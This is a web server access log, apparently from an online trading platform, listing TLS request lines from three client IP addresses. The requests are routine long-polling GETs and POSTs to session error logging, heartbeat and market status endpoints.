[09/Jan/2026:11:00:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927929082 HTTP/1.1" -
[09/Jan/2026:11:01:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927944229 HTTP/1.1" -
[09/Jan/2026:11:01:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927933917 HTTP/1.1" -
[09/Jan/2026:11:01:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927934101 HTTP/1.1" -
[09/Jan/2026:11:01:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927950232 HTTP/1.1" -
[09/Jan/2026:11:01:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927939066 HTTP/1.1" -
[09/Jan/2026:11:01:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927939142 HTTP/1.1" -
[09/Jan/2026:11:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:01:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927944201 HTTP/1.1" -
[09/Jan/2026:11:01:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927956235 HTTP/1.1" -
[09/Jan/2026:11:01:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927944180 HTTP/1.1" -
[09/Jan/2026:11:01:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927949277 HTTP/1.1" -
[09/Jan/2026:11:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:01:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927962231 HTTP/1.1" -
[09/Jan/2026:11:01:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927949222 HTTP/1.1" -
[09/Jan/2026:11:01:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927954334 HTTP/1.1" -
[09/Jan/2026:11:01:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927968235 HTTP/1.1" -
[09/Jan/2026:11:01:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927954245 HTTP/1.1" -
[09/Jan/2026:11:01:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:01:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927959483 HTTP/1.1" -
[09/Jan/2026:11:01:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927959267 HTTP/1.1" -
[09/Jan/2026:11:01:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927974223 HTTP/1.1" -
[09/Jan/2026:11:01:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927964650 HTTP/1.1" -
[09/Jan/2026:11:01:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927964305 HTTP/1.1" -
[09/Jan/2026:11:01:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927980228 HTTP/1.1" -
[09/Jan/2026:11:01:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927969784 HTTP/1.1" -
[09/Jan/2026:11:01:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:01:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:01:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927969326 HTTP/1.1" -
[09/Jan/2026:11:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:01:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927986231 HTTP/1.1" -
[09/Jan/2026:11:01:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927974948 HTTP/1.1" -
[09/Jan/2026:11:01:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927974383 HTTP/1.1" -
[09/Jan/2026:11:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:01:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927979993 HTTP/1.1" -
[09/Jan/2026:11:01:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927992226 HTTP/1.1" -
[09/Jan/2026:11:01:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927979429 HTTP/1.1" -
[09/Jan/2026:11:01:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927985201 HTTP/1.1" -
[09/Jan/2026:11:01:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927998222 HTTP/1.1" -
[09/Jan/2026:11:01:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927984455 HTTP/1.1" -
[09/Jan/2026:11:01:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:01:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:01:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927990318 HTTP/1.1" -
[09/Jan/2026:11:02:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927989487 HTTP/1.1" -
[09/Jan/2026:11:02:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928004223 HTTP/1.1" -
[09/Jan/2026:11:02:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927995493 HTTP/1.1" -
[09/Jan/2026:11:02:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927994515 HTTP/1.1" -
[09/Jan/2026:11:02:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928010226 HTTP/1.1" -
[09/Jan/2026:11:02:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928000664 HTTP/1.1" -
[09/Jan/2026:11:02:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927999545 HTTP/1.1" -
[09/Jan/2026:11:02:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:02:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:02:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928016223 HTTP/1.1" -
[09/Jan/2026:11:02:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928005835 HTTP/1.1" -
[09/Jan/2026:11:02:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928004596 HTTP/1.1" -
[09/Jan/2026:11:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:02:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928022227 HTTP/1.1" -
[09/Jan/2026:11:02:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928010950 HTTP/1.1" -
[09/Jan/2026:11:02:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928009645 HTTP/1.1" -
[09/Jan/2026:11:02:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928016018 HTTP/1.1" -
[09/Jan/2026:11:02:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928028231 HTTP/1.1" -
[09/Jan/2026:11:02:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928014658 HTTP/1.1" -
[09/Jan/2026:11:02:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:02:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928021159 HTTP/1.1" -
[09/Jan/2026:11:02:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928019683 HTTP/1.1" -
[09/Jan/2026:11:02:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928034226 HTTP/1.1" -
[09/Jan/2026:11:02:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928026293 HTTP/1.1" -
[09/Jan/2026:11:02:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928024709 HTTP/1.1" -
[09/Jan/2026:11:02:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928040224 HTTP/1.1" -
[09/Jan/2026:11:02:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:02:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:02:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928031462 HTTP/1.1" -
[09/Jan/2026:11:02:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928029758 HTTP/1.1" -
[09/Jan/2026:11:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
